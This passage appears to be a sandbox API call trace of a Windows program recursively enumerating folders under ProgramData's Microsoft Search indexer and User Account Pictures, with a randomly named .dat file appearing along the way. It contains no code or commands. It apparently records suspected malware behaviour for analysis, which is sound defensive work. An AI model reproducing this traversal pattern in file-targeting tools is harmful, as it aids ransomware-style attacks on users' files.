returned="" [0092.298] PeekMessageA (in: lpMsg=0x18efa4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18efa4) returned 0 [0092.298] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\CiAB0002.000") returned="CiAB0002.000" [0092.298] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\" [0092.299] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\") returned="" [0092.299] PeekMessageA (in: lpMsg=0x18efa4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18efa4) returned 0 [0092.299] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\CiAB0002.001") returned="CiAB0002.001" [0092.299] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\" [0092.299] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\") returned="" [0092.299] PeekMessageA (in: lpMsg=0x18efa4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18efa4) returned 0 [0092.299] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\CiAB0002.002") returned="CiAB0002.002" [0092.299] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\" [0092.299] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\") returned="" [0092.300] PeekMessageA (in: lpMsg=0x18efa4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18efa4) returned 0 [0092.300] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\CiAD0001.000") returned="CiAD0001.000" [0092.300] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\" [0092.300] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\") returned="" [0092.300] PeekMessageA (in: lpMsg=0x18efa4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18efa4) returned 0 [0092.300] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\CiAD0001.001") returned="CiAD0001.001" [0092.300] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\" [0092.300] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\") returned="" [0092.300] PeekMessageA (in: lpMsg=0x18efa4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18efa4) returned 0 [0092.300] PeekMessageA (in: lpMsg=0x18efa4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18efa4) returned 0 [0092.300] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\CiAD0001.002") returned="CiAD0001.002" [0092.301] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\" [0092.301] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\") returned="" [0092.301] PeekMessageA (in: lpMsg=0x18efa4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18efa4) returned 0 [0092.301] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\INDEX.000") returned="INDEX.000" [0092.301] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\" [0092.301] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\") returned="" [0092.301] PeekMessageA (in: lpMsg=0x18efa4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18efa4) returned 0 [0092.301] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\INDEX.001") returned="INDEX.001" [0092.301] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\" [0092.301] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\") returned="" [0092.302] PeekMessageA (in: lpMsg=0x18efa4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18efa4) returned 0 [0092.302] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\INDEX.002") returned="INDEX.002" [0092.302] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\" [0092.302] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\") returned="" [0092.302] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\*.*") returned="*.*" [0092.302] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\PropMap\\*.*", lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27eb7240, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x25e9c0, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x25e9c0, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502758 [0092.304] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0092.304] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\PropMap\\*.*") returned="*.*" [0092.304] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\PropMap\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\PropMap\\") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\PropMap\\" [0092.304] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\PropMap\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\PropMap\\") returned="" [0092.304] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0092.304] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\PropMap\\CiPT0000.000") returned="CiPT0000.000" [0092.304] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\PropMap\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\PropMap\\") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\PropMap\\" [0092.304] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\PropMap\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\PropMap\\") returned="" [0092.305] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0092.305] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\PropMap\\CiPT0000.001") returned="CiPT0000.001" [0092.305] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\PropMap\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\PropMap\\") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\PropMap\\" [0092.305] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\PropMap\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\PropMap\\") returned="" [0092.305] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0092.305] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\*.*") returned="*.*" [0092.305] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\SecStore\\*.*", lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x29958860, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x25e9c0, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x25e9c0, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18efdc, dwReserved1=0x4f0048, cFileName=".", cAlternateFileName="")) returned 0x502758 [0092.306] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0092.306] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\SecStore\\*.*") returned="*.*" [0092.306] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\SecStore\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\SecStore\\") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\SecStore\\" [0092.306] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\SecStore\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\SecStore\\") returned="" [0092.306] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0092.306] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\SecStore\\CiST0000.000") returned="CiST0000.000" [0092.306] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\SecStore\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\SecStore\\") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\SecStore\\" [0092.306] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\SecStore\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\SecStore\\") returned="" [0092.306] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0092.306] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\SecStore\\CiST0000.001") returned="CiST0000.001" [0092.307] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\SecStore\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\SecStore\\") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\SecStore\\" [0092.307] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\SecStore\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\SecStore\\") returned="" [0092.307] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0092.307] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0092.307] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\*.*") returned="*.*" [0092.307] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\" [0092.307] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\") returned="" [0092.307] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Search\\Data\\*.*") returned="*.*" [0092.308] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Temp\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27e1ecc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27e1ecc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x422b7290, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0092.308] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\*.*") returned="*.*" [0092.308] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2f6f40, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x2f6f40, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x610044, dwReserved1=0x610074, cFileName=".", cAlternateFileName="")) returned 0x502518 [0092.308] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0092.309] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\*.*") returned="*.*" [0092.309] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\" [0092.309] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\") returned="" [0092.309] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\5p5NrGJn0jS HALPmcxz.dat") returned="5p5NrGJn0jS HALPmcxz.dat" [0092.309] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2f6f40, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x2f6f40, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x4fa576, cFileName=".", cAlternateFileName="")) returned 0x502618 [0092.310] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0092.310] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0092.310] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\*.*") returned="*.*" [0092.310] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\" [0092.310] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="" [0092.310] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0092.310] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile10.bmp") returned="usertile10.bmp" [0092.310] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\" [0092.310] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="" [0092.311] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0092.311] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile11.bmp") returned="usertile11.bmp" [0092.311] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\" [0092.311] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="" [0092.311] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0092.311] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile12.bmp") returned="usertile12.bmp" [0092.311] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\" [0092.311] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="" [0092.311] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0092.312] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile13.bmp") returned="usertile13.bmp" [0092.312] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\" [0092.312] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="" [0092.312] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0092.312] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile14.bmp") returned="usertile14.bmp" [0092.312] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\" [0092.312] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="" [0092.313] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 